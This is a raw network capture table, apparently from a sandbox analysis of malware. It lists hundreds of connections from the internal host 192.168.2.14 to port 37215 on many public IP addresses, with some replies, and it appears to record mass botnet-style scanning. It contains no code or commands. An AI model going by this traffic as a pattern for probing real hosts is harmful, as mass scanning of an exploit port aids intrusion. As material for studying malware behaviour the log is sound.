Sep 25, 2024 14:14:12.390170097 CEST	63353	37215	192.168.2.14	41.104.48.16
Sep 25, 2024 14:14:12.390170097 CEST	63353	37215	192.168.2.14	41.124.190.252
Sep 25, 2024 14:14:12.390172958 CEST	63353	37215	192.168.2.14	197.239.160.2
Sep 25, 2024 14:14:12.390180111 CEST	63353	37215	192.168.2.14	41.152.83.77
Sep 25, 2024 14:14:12.390186071 CEST	63353	37215	192.168.2.14	156.233.237.249
Sep 25, 2024 14:14:12.390187025 CEST	63353	37215	192.168.2.14	156.211.123.142
Sep 25, 2024 14:14:12.390191078 CEST	63353	37215	192.168.2.14	156.19.189.143
Sep 25, 2024 14:14:12.390201092 CEST	63353	37215	192.168.2.14	197.48.109.174
Sep 25, 2024 14:14:12.390213013 CEST	63353	37215	192.168.2.14	156.87.14.68
Sep 25, 2024 14:14:12.390227079 CEST	63353	37215	192.168.2.14	156.80.238.97
Sep 25, 2024 14:14:12.390229940 CEST	63353	37215	192.168.2.14	197.95.201.35
Sep 25, 2024 14:14:12.390238047 CEST	63353	37215	192.168.2.14	41.144.189.129
Sep 25, 2024 14:14:12.390254974 CEST	63353	37215	192.168.2.14	41.224.61.194
Sep 25, 2024 14:14:12.390255928 CEST	63353	37215	192.168.2.14	156.72.52.118
Sep 25, 2024 14:14:12.390260935 CEST	63353	37215	192.168.2.14	156.142.178.42
Sep 25, 2024 14:14:12.390273094 CEST	63353	37215	192.168.2.14	41.185.158.131
Sep 25, 2024 14:14:12.390279055 CEST	63353	37215	192.168.2.14	41.97.13.237
Sep 25, 2024 14:14:12.390285015 CEST	63353	37215	192.168.2.14	197.33.52.171
Sep 25, 2024 14:14:12.390290022 CEST	63353	37215	192.168.2.14	41.32.151.228
Sep 25, 2024 14:14:12.390295982 CEST	63353	37215	192.168.2.14	197.88.21.179
Sep 25, 2024 14:14:12.390314102 CEST	63353	37215	192.168.2.14	197.15.226.233
Sep 25, 2024 14:14:12.390321970 CEST	63353	37215	192.168.2.14	156.110.247.67
Sep 25, 2024 14:14:12.390322924 CEST	63353	37215	192.168.2.14	197.7.147.160
Sep 25, 2024 14:14:12.390322924 CEST	63353	37215	192.168.2.14	41.130.38.5
Sep 25, 2024 14:14:12.390325069 CEST	63353	37215	192.168.2.14	156.89.157.154
Sep 25, 2024 14:14:12.390326023 CEST	63353	37215	192.168.2.14	156.82.42.132
Sep 25, 2024 14:14:12.390331030 CEST	63353	37215	192.168.2.14	156.99.206.95
Sep 25, 2024 14:14:12.390346050 CEST	63353	37215	192.168.2.14	156.0.143.246
Sep 25, 2024 14:14:12.390347958 CEST	63353	37215	192.168.2.14	197.114.14.241
Sep 25, 2024 14:14:12.390351057 CEST	63353	37215	192.168.2.14	41.54.25.25
Sep 25, 2024 14:14:12.390360117 CEST	63353	37215	192.168.2.14	41.103.94.201
Sep 25, 2024 14:14:12.390374899 CEST	63353	37215	192.168.2.14	156.51.141.84
Sep 25, 2024 14:14:12.390377998 CEST	63353	37215	192.168.2.14	156.18.240.244
Sep 25, 2024 14:14:12.390389919 CEST	63353	37215	192.168.2.14	41.74.240.15
Sep 25, 2024 14:14:12.390397072 CEST	63353	37215	192.168.2.14	156.143.127.119
Sep 25, 2024 14:14:12.390397072 CEST	63353	37215	192.168.2.14	197.84.184.165
Sep 25, 2024 14:14:12.390414953 CEST	63353	37215	192.168.2.14	156.148.25.150
Sep 25, 2024 14:14:12.390422106 CEST	63353	37215	192.168.2.14	197.130.16.93
Sep 25, 2024 14:14:12.390422106 CEST	63353	37215	192.168.2.14	41.190.68.128
Sep 25, 2024 14:14:12.390422106 CEST	63353	37215	192.168.2.14	41.66.235.42
Sep 25, 2024 14:14:12.390433073 CEST	63353	37215	192.168.2.14	197.250.226.124
Sep 25, 2024 14:14:12.390434980 CEST	63353	37215	192.168.2.14	156.200.223.158
Sep 25, 2024 14:14:12.390444994 CEST	63353	37215	192.168.2.14	156.160.231.207
Sep 25, 2024 14:14:12.390446901 CEST	63353	37215	192.168.2.14	197.180.165.66
Sep 25, 2024 14:14:12.390460014 CEST	63353	37215	192.168.2.14	156.236.39.216
Sep 25, 2024 14:14:12.390460968 CEST	63353	37215	192.168.2.14	41.208.194.210
Sep 25, 2024 14:14:12.390467882 CEST	63353	37215	192.168.2.14	41.111.25.241
Sep 25, 2024 14:14:12.390471935 CEST	63353	37215	192.168.2.14	197.185.73.32
Sep 25, 2024 14:14:12.390476942 CEST	63353	37215	192.168.2.14	197.83.116.205
Sep 25, 2024 14:14:12.390496016 CEST	63353	37215	192.168.2.14	41.213.211.215
Sep 25, 2024 14:14:12.390496016 CEST	63353	37215	192.168.2.14	41.110.174.0
Sep 25, 2024 14:14:12.390496016 CEST	63353	37215	192.168.2.14	156.20.27.236
Sep 25, 2024 14:14:12.390501022 CEST	63353	37215	192.168.2.14	156.156.168.176
Sep 25, 2024 14:14:12.390520096 CEST	63353	37215	192.168.2.14	41.103.23.172
Sep 25, 2024 14:14:12.390532970 CEST	63353	37215	192.168.2.14	197.5.120.56
Sep 25, 2024 14:14:12.390549898 CEST	63353	37215	192.168.2.14	41.74.12.95
Sep 25, 2024 14:14:12.390552998 CEST	63353	37215	192.168.2.14	197.116.92.189
Sep 25, 2024 14:14:12.390552998 CEST	63353	37215	192.168.2.14	156.253.153.107
Sep 25, 2024 14:14:12.390552998 CEST	63353	37215	192.168.2.14	156.170.216.141
Sep 25, 2024 14:14:12.390567064 CEST	63353	37215	192.168.2.14	156.2.194.144
Sep 25, 2024 14:14:12.390573025 CEST	37215	37210	156.23.38.211	192.168.2.14
Sep 25, 2024 14:14:12.390578032 CEST	63353	37215	192.168.2.14	156.232.92.129
Sep 25, 2024 14:14:12.390585899 CEST	63353	37215	192.168.2.14	197.84.27.92
Sep 25, 2024 14:14:12.390593052 CEST	63353	37215	192.168.2.14	197.3.188.239
Sep 25, 2024 14:14:12.390607119 CEST	63353	37215	192.168.2.14	156.196.245.191
Sep 25, 2024 14:14:12.390624046 CEST	63353	37215	192.168.2.14	156.226.36.166
Sep 25, 2024 14:14:12.390636921 CEST	63353	37215	192.168.2.14	41.80.186.113
Sep 25, 2024 14:14:12.390656948 CEST	63353	37215	192.168.2.14	41.244.199.237
Sep 25, 2024 14:14:12.390660048 CEST	63353	37215	192.168.2.14	156.38.90.226
Sep 25, 2024 14:14:12.390662909 CEST	63353	37215	192.168.2.14	197.163.71.225
Sep 25, 2024 14:14:12.390662909 CEST	63353	37215	192.168.2.14	197.20.62.50
Sep 25, 2024 14:14:12.390666962 CEST	63353	37215	192.168.2.14	156.19.3.212
Sep 25, 2024 14:14:12.390666962 CEST	37210	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:12.390666962 CEST	63353	37215	192.168.2.14	41.97.4.164
Sep 25, 2024 14:14:12.390744925 CEST	63353	37215	192.168.2.14	156.231.149.40
Sep 25, 2024 14:14:12.390768051 CEST	63353	37215	192.168.2.14	41.11.124.193
Sep 25, 2024 14:14:12.390770912 CEST	37404	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:12.390772104 CEST	63353	37215	192.168.2.14	197.224.236.24
Sep 25, 2024 14:14:12.390770912 CEST	37404	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:12.390783072 CEST	63353	37215	192.168.2.14	197.143.105.72
Sep 25, 2024 14:14:12.390786886 CEST	63353	37215	192.168.2.14	41.104.139.198
Sep 25, 2024 14:14:12.391422033 CEST	37660	37215	192.168.2.14	156.105.111.2
Sep 25, 2024 14:14:12.391774893 CEST	37215	32906	41.87.166.42	192.168.2.14
Sep 25, 2024 14:14:12.391855001 CEST	32906	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:12.391946077 CEST	36572	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.391946077 CEST	36572	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.392266989 CEST	37215	47920	41.11.24.157	192.168.2.14
Sep 25, 2024 14:14:12.392286062 CEST	36828	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.392312050 CEST	47920	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:12.392746925 CEST	60278	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.392746925 CEST	60278	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.392995119 CEST	37215	41958	197.59.27.190	192.168.2.14
Sep 25, 2024 14:14:12.393053055 CEST	41958	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:12.393155098 CEST	60534	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.393591881 CEST	57964	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.393606901 CEST	57964	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.393800020 CEST	37215	42836	41.254.136.7	192.168.2.14
Sep 25, 2024 14:14:12.393857956 CEST	42836	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:12.393899918 CEST	58220	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.394398928 CEST	40650	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.394398928 CEST	40650	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.394925117 CEST	40906	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.395190954 CEST	37710	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.395205975 CEST	37710	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.395467997 CEST	37966	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.395562887 CEST	37215	63353	41.168.78.77	192.168.2.14
Sep 25, 2024 14:14:12.395569086 CEST	37215	63353	197.220.161.42	192.168.2.14
Sep 25, 2024 14:14:12.395579100 CEST	37215	63353	156.175.79.100	192.168.2.14
Sep 25, 2024 14:14:12.395584106 CEST	37215	63353	156.172.236.120	192.168.2.14
Sep 25, 2024 14:14:12.395592928 CEST	37215	63353	156.181.156.195	192.168.2.14
Sep 25, 2024 14:14:12.395598888 CEST	37215	63353	156.10.95.224	192.168.2.14
Sep 25, 2024 14:14:12.395607948 CEST	37215	63353	197.48.193.65	192.168.2.14
Sep 25, 2024 14:14:12.395612955 CEST	37215	63353	156.168.62.39	192.168.2.14
Sep 25, 2024 14:14:12.395620108 CEST	63353	37215	192.168.2.14	41.168.78.77
Sep 25, 2024 14:14:12.395620108 CEST	63353	37215	192.168.2.14	156.175.79.100
Sep 25, 2024 14:14:12.395620108 CEST	63353	37215	192.168.2.14	156.172.236.120
Sep 25, 2024 14:14:12.395629883 CEST	63353	37215	192.168.2.14	156.181.156.195
Sep 25, 2024 14:14:12.395632029 CEST	63353	37215	192.168.2.14	156.10.95.224
Sep 25, 2024 14:14:12.395633936 CEST	63353	37215	192.168.2.14	197.220.161.42
Sep 25, 2024 14:14:12.395636082 CEST	37215	63353	197.58.83.62	192.168.2.14
Sep 25, 2024 14:14:12.395642042 CEST	37215	63353	156.226.250.227	192.168.2.14
Sep 25, 2024 14:14:12.395643950 CEST	63353	37215	192.168.2.14	156.168.62.39
Sep 25, 2024 14:14:12.395646095 CEST	37215	63353	41.186.249.22	192.168.2.14
Sep 25, 2024 14:14:12.395648003 CEST	63353	37215	192.168.2.14	197.48.193.65
Sep 25, 2024 14:14:12.395649910 CEST	37215	63353	156.250.79.34	192.168.2.14
Sep 25, 2024 14:14:12.395659924 CEST	37215	63353	156.90.112.194	192.168.2.14
Sep 25, 2024 14:14:12.395663977 CEST	37215	63353	156.15.26.119	192.168.2.14
Sep 25, 2024 14:14:12.395669937 CEST	63353	37215	192.168.2.14	197.58.83.62
Sep 25, 2024 14:14:12.395673037 CEST	37215	63353	197.86.127.58	192.168.2.14
Sep 25, 2024 14:14:12.395669937 CEST	63353	37215	192.168.2.14	41.186.249.22
Sep 25, 2024 14:14:12.395670891 CEST	63353	37215	192.168.2.14	156.226.250.227
Sep 25, 2024 14:14:12.395678043 CEST	37215	63353	41.154.237.212	192.168.2.14
Sep 25, 2024 14:14:12.395677090 CEST	63353	37215	192.168.2.14	156.250.79.34
Sep 25, 2024 14:14:12.395687103 CEST	37215	63353	156.73.84.149	192.168.2.14
Sep 25, 2024 14:14:12.395692110 CEST	37215	63353	197.251.110.206	192.168.2.14
Sep 25, 2024 14:14:12.395693064 CEST	63353	37215	192.168.2.14	156.90.112.194
Sep 25, 2024 14:14:12.395693064 CEST	63353	37215	192.168.2.14	156.15.26.119
Sep 25, 2024 14:14:12.395695925 CEST	37215	63353	156.140.161.127	192.168.2.14
Sep 25, 2024 14:14:12.395704985 CEST	37215	63353	156.174.244.16	192.168.2.14
Sep 25, 2024 14:14:12.395709038 CEST	63353	37215	192.168.2.14	197.86.127.58
Sep 25, 2024 14:14:12.395714998 CEST	63353	37215	192.168.2.14	41.154.237.212
Sep 25, 2024 14:14:12.395714998 CEST	63353	37215	192.168.2.14	156.73.84.149
Sep 25, 2024 14:14:12.395721912 CEST	63353	37215	192.168.2.14	156.140.161.127
Sep 25, 2024 14:14:12.395724058 CEST	63353	37215	192.168.2.14	197.251.110.206
Sep 25, 2024 14:14:12.395725012 CEST	63353	37215	192.168.2.14	156.174.244.16
Sep 25, 2024 14:14:12.395735979 CEST	37215	63353	197.207.43.228	192.168.2.14
Sep 25, 2024 14:14:12.395740032 CEST	37215	63353	41.71.161.16	192.168.2.14
Sep 25, 2024 14:14:12.395750046 CEST	37215	63353	156.188.58.121	192.168.2.14
Sep 25, 2024 14:14:12.395754099 CEST	37215	63353	156.20.245.186	192.168.2.14
Sep 25, 2024 14:14:12.395768881 CEST	63353	37215	192.168.2.14	197.207.43.228
Sep 25, 2024 14:14:12.395770073 CEST	37215	63353	156.230.1.4	192.168.2.14
Sep 25, 2024 14:14:12.395770073 CEST	63353	37215	192.168.2.14	41.71.161.16
Sep 25, 2024 14:14:12.395776987 CEST	37215	63353	197.138.39.25	192.168.2.14
Sep 25, 2024 14:14:12.395786047 CEST	37215	63353	41.82.213.185	192.168.2.14
Sep 25, 2024 14:14:12.395787954 CEST	63353	37215	192.168.2.14	156.20.245.186
Sep 25, 2024 14:14:12.395787954 CEST	63353	37215	192.168.2.14	156.188.58.121
Sep 25, 2024 14:14:12.395790100 CEST	37215	63353	41.130.139.47	192.168.2.14
Sep 25, 2024 14:14:12.395801067 CEST	37215	63353	41.229.236.215	192.168.2.14
Sep 25, 2024 14:14:12.395804882 CEST	63353	37215	192.168.2.14	156.230.1.4
Sep 25, 2024 14:14:12.395806074 CEST	37215	63353	156.34.167.64	192.168.2.14
Sep 25, 2024 14:14:12.395807028 CEST	50604	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.395807028 CEST	50604	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.395807981 CEST	63353	37215	192.168.2.14	197.138.39.25
Sep 25, 2024 14:14:12.395811081 CEST	37215	63353	41.211.196.168	192.168.2.14
Sep 25, 2024 14:14:12.395821095 CEST	37215	63353	41.166.195.163	192.168.2.14
Sep 25, 2024 14:14:12.395824909 CEST	63353	37215	192.168.2.14	41.130.139.47
Sep 25, 2024 14:14:12.395824909 CEST	37215	63353	156.10.213.40	192.168.2.14
Sep 25, 2024 14:14:12.395824909 CEST	63353	37215	192.168.2.14	41.82.213.185
Sep 25, 2024 14:14:12.395824909 CEST	63353	37215	192.168.2.14	41.229.236.215
Sep 25, 2024 14:14:12.395829916 CEST	37215	63353	41.144.129.138	192.168.2.14
Sep 25, 2024 14:14:12.395834923 CEST	37215	63353	197.223.199.221	192.168.2.14
Sep 25, 2024 14:14:12.395839930 CEST	37215	63353	41.125.103.239	192.168.2.14
Sep 25, 2024 14:14:12.395843029 CEST	63353	37215	192.168.2.14	41.211.196.168
Sep 25, 2024 14:14:12.395843029 CEST	37215	63353	156.170.201.152	192.168.2.14
Sep 25, 2024 14:14:12.395848036 CEST	37215	63353	156.109.10.114	192.168.2.14
Sep 25, 2024 14:14:12.395850897 CEST	37215	63353	197.12.102.9	192.168.2.14
Sep 25, 2024 14:14:12.395855904 CEST	37215	63353	197.170.206.122	192.168.2.14
Sep 25, 2024 14:14:12.395855904 CEST	63353	37215	192.168.2.14	156.10.213.40
Sep 25, 2024 14:14:12.395855904 CEST	63353	37215	192.168.2.14	41.144.129.138
Sep 25, 2024 14:14:12.395859003 CEST	63353	37215	192.168.2.14	197.223.199.221
Sep 25, 2024 14:14:12.395859003 CEST	63353	37215	192.168.2.14	41.125.103.239
Sep 25, 2024 14:14:12.395859957 CEST	37215	63353	156.242.40.72	192.168.2.14
Sep 25, 2024 14:14:12.395865917 CEST	63353	37215	192.168.2.14	156.170.201.152
Sep 25, 2024 14:14:12.395865917 CEST	63353	37215	192.168.2.14	156.109.10.114
Sep 25, 2024 14:14:12.395874977 CEST	37215	63353	197.198.146.121	192.168.2.14
Sep 25, 2024 14:14:12.395879984 CEST	37215	63353	197.149.189.193	192.168.2.14
Sep 25, 2024 14:14:12.395884037 CEST	37215	63353	41.224.158.104	192.168.2.14
Sep 25, 2024 14:14:12.395888090 CEST	37215	63353	41.199.91.228	192.168.2.14
Sep 25, 2024 14:14:12.395891905 CEST	37215	63353	41.62.154.104	192.168.2.14
Sep 25, 2024 14:14:12.395894051 CEST	63353	37215	192.168.2.14	156.34.167.64
Sep 25, 2024 14:14:12.395894051 CEST	63353	37215	192.168.2.14	41.166.195.163
Sep 25, 2024 14:14:12.395894051 CEST	63353	37215	192.168.2.14	197.170.206.122
Sep 25, 2024 14:14:12.395895958 CEST	37215	63353	41.185.9.2	192.168.2.14
Sep 25, 2024 14:14:12.395895958 CEST	63353	37215	192.168.2.14	197.12.102.9
Sep 25, 2024 14:14:12.395896912 CEST	63353	37215	192.168.2.14	156.242.40.72
Sep 25, 2024 14:14:12.395900965 CEST	63353	37215	192.168.2.14	197.198.146.121
Sep 25, 2024 14:14:12.395904064 CEST	63353	37215	192.168.2.14	197.149.189.193
Sep 25, 2024 14:14:12.395905018 CEST	37215	63353	156.108.145.203	192.168.2.14
Sep 25, 2024 14:14:12.395910025 CEST	37215	63353	156.5.49.244	192.168.2.14
Sep 25, 2024 14:14:12.395914078 CEST	37215	63353	156.244.193.147	192.168.2.14
Sep 25, 2024 14:14:12.395914078 CEST	63353	37215	192.168.2.14	41.224.158.104
Sep 25, 2024 14:14:12.395915985 CEST	63353	37215	192.168.2.14	41.199.91.228
Sep 25, 2024 14:14:12.395920992 CEST	63353	37215	192.168.2.14	41.62.154.104
Sep 25, 2024 14:14:12.395922899 CEST	37215	63353	41.48.155.181	192.168.2.14
Sep 25, 2024 14:14:12.395926952 CEST	37215	63353	156.43.11.2	192.168.2.14
Sep 25, 2024 14:14:12.395929098 CEST	63353	37215	192.168.2.14	41.185.9.2
Sep 25, 2024 14:14:12.395929098 CEST	63353	37215	192.168.2.14	156.108.145.203
Sep 25, 2024 14:14:12.395931959 CEST	37215	63353	197.165.253.103	192.168.2.14
Sep 25, 2024 14:14:12.395934105 CEST	63353	37215	192.168.2.14	156.5.49.244
Sep 25, 2024 14:14:12.395936012 CEST	37215	63353	197.211.200.152	192.168.2.14
Sep 25, 2024 14:14:12.395941019 CEST	37215	63353	41.127.232.234	192.168.2.14
Sep 25, 2024 14:14:12.395948887 CEST	37215	63353	156.206.71.166	192.168.2.14
Sep 25, 2024 14:14:12.395951986 CEST	63353	37215	192.168.2.14	156.244.193.147
Sep 25, 2024 14:14:12.395952940 CEST	37215	63353	41.31.86.109	192.168.2.14
Sep 25, 2024 14:14:12.395953894 CEST	63353	37215	192.168.2.14	41.48.155.181
Sep 25, 2024 14:14:12.395956039 CEST	63353	37215	192.168.2.14	156.43.11.2
Sep 25, 2024 14:14:12.395956993 CEST	37215	63353	41.120.58.65	192.168.2.14
Sep 25, 2024 14:14:12.395961046 CEST	63353	37215	192.168.2.14	41.127.232.234
Sep 25, 2024 14:14:12.395966053 CEST	37215	63353	156.16.222.62	192.168.2.14
Sep 25, 2024 14:14:12.395971060 CEST	37215	63353	41.210.190.228	192.168.2.14
Sep 25, 2024 14:14:12.395977974 CEST	37215	63353	41.204.121.228	192.168.2.14
Sep 25, 2024 14:14:12.395979881 CEST	63353	37215	192.168.2.14	197.165.253.103
Sep 25, 2024 14:14:12.395979881 CEST	63353	37215	192.168.2.14	197.211.200.152
Sep 25, 2024 14:14:12.395979881 CEST	63353	37215	192.168.2.14	156.206.71.166
Sep 25, 2024 14:14:12.395982027 CEST	37215	63353	156.198.88.115	192.168.2.14
Sep 25, 2024 14:14:12.395982027 CEST	63353	37215	192.168.2.14	41.31.86.109
Sep 25, 2024 14:14:12.395987034 CEST	37215	63353	41.57.76.126	192.168.2.14
Sep 25, 2024 14:14:12.395991087 CEST	63353	37215	192.168.2.14	41.120.58.65
Sep 25, 2024 14:14:12.395991087 CEST	63353	37215	192.168.2.14	156.16.222.62
Sep 25, 2024 14:14:12.395991087 CEST	63353	37215	192.168.2.14	41.210.190.228
Sep 25, 2024 14:14:12.395998001 CEST	63353	37215	192.168.2.14	41.204.121.228
Sep 25, 2024 14:14:12.395998001 CEST	37215	63353	41.92.124.189	192.168.2.14
Sep 25, 2024 14:14:12.396003008 CEST	37215	63353	156.110.158.120	192.168.2.14
Sep 25, 2024 14:14:12.396012068 CEST	37215	63353	41.252.223.191	192.168.2.14
Sep 25, 2024 14:14:12.396015882 CEST	37215	63353	41.208.35.94	192.168.2.14
Sep 25, 2024 14:14:12.396018982 CEST	63353	37215	192.168.2.14	156.198.88.115
Sep 25, 2024 14:14:12.396019936 CEST	37215	63353	41.224.214.201	192.168.2.14
Sep 25, 2024 14:14:12.396018982 CEST	63353	37215	192.168.2.14	41.57.76.126
Sep 25, 2024 14:14:12.396029949 CEST	37215	63353	197.16.109.47	192.168.2.14
Sep 25, 2024 14:14:12.396034956 CEST	63353	37215	192.168.2.14	41.92.124.189
Sep 25, 2024 14:14:12.396034956 CEST	63353	37215	192.168.2.14	41.252.223.191
Sep 25, 2024 14:14:12.396039009 CEST	63353	37215	192.168.2.14	156.110.158.120
Sep 25, 2024 14:14:12.396042109 CEST	63353	37215	192.168.2.14	41.208.35.94
Sep 25, 2024 14:14:12.396056890 CEST	63353	37215	192.168.2.14	197.16.109.47
Sep 25, 2024 14:14:12.396085978 CEST	63353	37215	192.168.2.14	41.224.214.201
Sep 25, 2024 14:14:12.396099091 CEST	50860	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.396145105 CEST	37215	63353	197.145.220.139	192.168.2.14
Sep 25, 2024 14:14:12.396150112 CEST	37215	63353	41.77.223.225	192.168.2.14
Sep 25, 2024 14:14:12.396158934 CEST	37215	63353	156.61.109.165	192.168.2.14
Sep 25, 2024 14:14:12.396176100 CEST	37215	63353	41.121.199.17	192.168.2.14
Sep 25, 2024 14:14:12.396179914 CEST	37215	63353	197.244.65.221	192.168.2.14
Sep 25, 2024 14:14:12.396183968 CEST	37215	63353	156.218.63.167	192.168.2.14
Sep 25, 2024 14:14:12.396184921 CEST	63353	37215	192.168.2.14	41.77.223.225
Sep 25, 2024 14:14:12.396187067 CEST	63353	37215	192.168.2.14	197.145.220.139
Sep 25, 2024 14:14:12.396188021 CEST	37215	63353	41.251.219.29	192.168.2.14
Sep 25, 2024 14:14:12.396188974 CEST	63353	37215	192.168.2.14	156.61.109.165
Sep 25, 2024 14:14:12.396193027 CEST	37215	63353	156.90.51.82	192.168.2.14
Sep 25, 2024 14:14:12.396195889 CEST	63353	37215	192.168.2.14	41.121.199.17
Sep 25, 2024 14:14:12.396198034 CEST	37215	63353	197.10.184.199	192.168.2.14
Sep 25, 2024 14:14:12.396199942 CEST	63353	37215	192.168.2.14	197.244.65.221
Sep 25, 2024 14:14:12.396202087 CEST	37215	63353	41.244.88.138	192.168.2.14
Sep 25, 2024 14:14:12.396208048 CEST	63353	37215	192.168.2.14	41.251.219.29
Sep 25, 2024 14:14:12.396208048 CEST	63353	37215	192.168.2.14	156.218.63.167
Sep 25, 2024 14:14:12.396213055 CEST	37215	63353	156.240.164.84	192.168.2.14
Sep 25, 2024 14:14:12.396219015 CEST	37215	63353	197.181.23.53	192.168.2.14
Sep 25, 2024 14:14:12.396220922 CEST	63353	37215	192.168.2.14	41.244.88.138
Sep 25, 2024 14:14:12.396222115 CEST	63353	37215	192.168.2.14	156.90.51.82
Sep 25, 2024 14:14:12.396223068 CEST	37215	63353	156.75.70.26	192.168.2.14
Sep 25, 2024 14:14:12.396224976 CEST	63353	37215	192.168.2.14	197.10.184.199
Sep 25, 2024 14:14:12.396229029 CEST	37215	63353	156.14.66.134	192.168.2.14
Sep 25, 2024 14:14:12.396234035 CEST	37215	63353	41.104.48.16	192.168.2.14
Sep 25, 2024 14:14:12.396246910 CEST	37215	63353	197.239.160.2	192.168.2.14
Sep 25, 2024 14:14:12.396250963 CEST	37215	63353	41.124.190.252	192.168.2.14
Sep 25, 2024 14:14:12.396251917 CEST	63353	37215	192.168.2.14	156.240.164.84
Sep 25, 2024 14:14:12.396251917 CEST	63353	37215	192.168.2.14	156.14.66.134
Sep 25, 2024 14:14:12.396255016 CEST	63353	37215	192.168.2.14	156.75.70.26
Sep 25, 2024 14:14:12.396258116 CEST	63353	37215	192.168.2.14	41.104.48.16
Sep 25, 2024 14:14:12.396260023 CEST	37215	63353	41.152.83.77	192.168.2.14
Sep 25, 2024 14:14:12.396265030 CEST	37215	63353	156.233.237.249	192.168.2.14
Sep 25, 2024 14:14:12.396269083 CEST	63353	37215	192.168.2.14	197.181.23.53
Sep 25, 2024 14:14:12.396275043 CEST	37215	63353	156.211.123.142	192.168.2.14
Sep 25, 2024 14:14:12.396280050 CEST	37215	63353	156.19.189.143	192.168.2.14
Sep 25, 2024 14:14:12.396282911 CEST	63353	37215	192.168.2.14	41.124.190.252
Sep 25, 2024 14:14:12.396286011 CEST	37215	63353	197.48.109.174	192.168.2.14
Sep 25, 2024 14:14:12.396287918 CEST	63353	37215	192.168.2.14	197.239.160.2
Sep 25, 2024 14:14:12.396291018 CEST	37215	63353	156.87.14.68	192.168.2.14
Sep 25, 2024 14:14:12.396291018 CEST	63353	37215	192.168.2.14	156.233.237.249
Sep 25, 2024 14:14:12.396291971 CEST	63353	37215	192.168.2.14	41.152.83.77
Sep 25, 2024 14:14:12.396296024 CEST	37215	63353	156.80.238.97	192.168.2.14
Sep 25, 2024 14:14:12.396300077 CEST	37215	63353	197.95.201.35	192.168.2.14
Sep 25, 2024 14:14:12.396303892 CEST	37215	63353	41.144.189.129	192.168.2.14
Sep 25, 2024 14:14:12.396303892 CEST	63353	37215	192.168.2.14	156.211.123.142
Sep 25, 2024 14:14:12.396306992 CEST	63353	37215	192.168.2.14	197.48.109.174
Sep 25, 2024 14:14:12.396307945 CEST	37215	63353	41.224.61.194	192.168.2.14
Sep 25, 2024 14:14:12.396312952 CEST	37215	63353	156.72.52.118	192.168.2.14
Sep 25, 2024 14:14:12.396326065 CEST	63353	37215	192.168.2.14	156.19.189.143
Sep 25, 2024 14:14:12.396327019 CEST	63353	37215	192.168.2.14	156.80.238.97
Sep 25, 2024 14:14:12.396327019 CEST	63353	37215	192.168.2.14	156.87.14.68
Sep 25, 2024 14:14:12.396328926 CEST	63353	37215	192.168.2.14	41.224.61.194
Sep 25, 2024 14:14:12.396330118 CEST	63353	37215	192.168.2.14	197.95.201.35
Sep 25, 2024 14:14:12.396332979 CEST	63353	37215	192.168.2.14	41.144.189.129
Sep 25, 2024 14:14:12.396337032 CEST	63353	37215	192.168.2.14	156.72.52.118
Sep 25, 2024 14:14:12.396430016 CEST	52044	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.396430016 CEST	52044	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.396531105 CEST	37215	63353	156.142.178.42	192.168.2.14
Sep 25, 2024 14:14:12.396534920 CEST	37215	63353	41.185.158.131	192.168.2.14
Sep 25, 2024 14:14:12.396544933 CEST	37215	63353	41.97.13.237	192.168.2.14
Sep 25, 2024 14:14:12.396548986 CEST	37215	63353	197.33.52.171	192.168.2.14
Sep 25, 2024 14:14:12.396553993 CEST	37215	63353	41.32.151.228	192.168.2.14
Sep 25, 2024 14:14:12.396559000 CEST	37215	63353	197.88.21.179	192.168.2.14
Sep 25, 2024 14:14:12.396564007 CEST	37215	63353	197.15.226.233	192.168.2.14
Sep 25, 2024 14:14:12.396568060 CEST	37215	63353	156.110.247.67	192.168.2.14
Sep 25, 2024 14:14:12.396572113 CEST	63353	37215	192.168.2.14	197.33.52.171
Sep 25, 2024 14:14:12.396573067 CEST	37215	63353	156.89.157.154	192.168.2.14
Sep 25, 2024 14:14:12.396574974 CEST	63353	37215	192.168.2.14	41.185.158.131
Sep 25, 2024 14:14:12.396575928 CEST	63353	37215	192.168.2.14	156.142.178.42
Sep 25, 2024 14:14:12.396576881 CEST	63353	37215	192.168.2.14	41.97.13.237
Sep 25, 2024 14:14:12.396578074 CEST	37215	63353	197.7.147.160	192.168.2.14
Sep 25, 2024 14:14:12.396583080 CEST	63353	37215	192.168.2.14	41.32.151.228
Sep 25, 2024 14:14:12.396583080 CEST	37215	63353	156.82.42.132	192.168.2.14
Sep 25, 2024 14:14:12.396586895 CEST	63353	37215	192.168.2.14	197.88.21.179
Sep 25, 2024 14:14:12.396586895 CEST	37215	63353	41.130.38.5	192.168.2.14
Sep 25, 2024 14:14:12.396591902 CEST	37215	63353	156.99.206.95	192.168.2.14
Sep 25, 2024 14:14:12.396605015 CEST	37215	63353	156.0.143.246	192.168.2.14
Sep 25, 2024 14:14:12.396605968 CEST	63353	37215	192.168.2.14	197.15.226.233
Sep 25, 2024 14:14:12.396605968 CEST	63353	37215	192.168.2.14	156.89.157.154
